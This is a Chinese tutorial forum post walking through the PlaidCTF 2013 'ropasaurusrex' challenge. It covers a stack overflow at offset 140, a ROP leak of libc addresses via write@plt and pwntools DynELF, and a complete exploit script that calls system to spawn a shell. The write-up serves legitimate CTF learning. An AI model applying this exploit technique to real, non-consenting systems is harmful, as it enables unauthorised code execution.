-
-
[原创][分享]Pwn从入门到放弃(三)
-
2019-12-30 20:50 6674
-
0x01 栈溢出利用
0x02 基本的ROP利用
0x03 题目三:
该题目是plaidctf-2013的一道题,ropasaurusrex
- 第一步:
checksec看一下该程序开了哪些保护:
程序为32位小端,保护只开启了NX保护,意味着堆栈不可执行。
- 第二步:
运行该程序看看:
待你输入内容后,会给一些的反馈
*第三步:
gdb动态调试一下看看:
可以看到,崩溃在140处,因此可以知道返回地址在144字节处。
- 第四步:
同样,将程序丢到IDA中看一下:
发现程序逻辑相对还是比较简单的,在main中,发现sub_80483F4函数中存在可利用的溢出漏洞,另外发现该程序中并没有可利用的system和'/bin/sh',但却存在read和write函数。
- 第五步:
溢出思路:
由于程序没有提供libc.so文件,故需要将返回地址覆盖为write@plt,利用write@plt将read@got内容打印出来从而获得libc、system等函数的地址
计算system和'/bin/sh'地址
然后通过gadget指令重新跳转至sub_80483F4再次溢出,将返回地址覆盖
为system,将'/bin/sh'地址部署在相应的参数位置即可
知识点:
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。
PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。
延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。
栈布局:
- 第六步:
我们可以利用DynELF来轻松获得程序某函数的实际运行地址。
**知识点2:DynELF,是pwntools中有一个很方便的类,可以通过使用该类利用泄露函数,从而获取程序的system、read等函数地址。
- 第七步:
最终的EXP代码:
#-*- coding: utf-8 -*- from pwn import * p = process('./ropasaurusrex') elf = ELF('./ropasaurusrex') write_plt_addr = elf.symbols['write'] start_addr = 0x08048340 bin_sh_addr = 0x08049628 #空白的可写.bss地址 #利用write@plt获取read@got地址 def leak(addr): payload = "A" * 140 payload += p32(write_plt_addr) payload += p32(start_addr) #为了使程序不至于崩溃,因此将返回地址设置为程序的start地址 payload += p32(1) #write参数1,int fd(文件描述符) payload += p32(addr) #write参数2,buf(指定的缓冲区,即指向read的指针) payload += p32(4) #write参数3,要写入的字节数 p.sendline(payload) content = p.recv(4) # print("%#x => %s" % (addr, (content or '').encode('hex'))) return content d = DynELF(leak, elf = elf ) system_addr = d.lookup('system','libc') read_addr = d.lookup('read','libc') print ("system_address: %#x" % system_addr) print ("read_address: %#x" % read_addr) base_addr = read_addr - elf.symbols['read'] print ("base_address: %#x" % base_addr) payload = "A" *140 payload += p32(read_addr) payload += p32(system_addr) payload += p32(0) payload += p32(bin_sh_addr) payload += p32(8) p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()
参考:
https://bbs.ichunqiu.com/thread-42933-1-1.html?from=aqzx1
https://www.jianshu.com/p/590bc1d6c292
http://www.baymrx.me/2019/08/19/PWN%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E2%80%94%E2%80%942013-PlaidCTF-ropasaurusrex/
https://www.jianshu.com/p/6626a866ad66
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。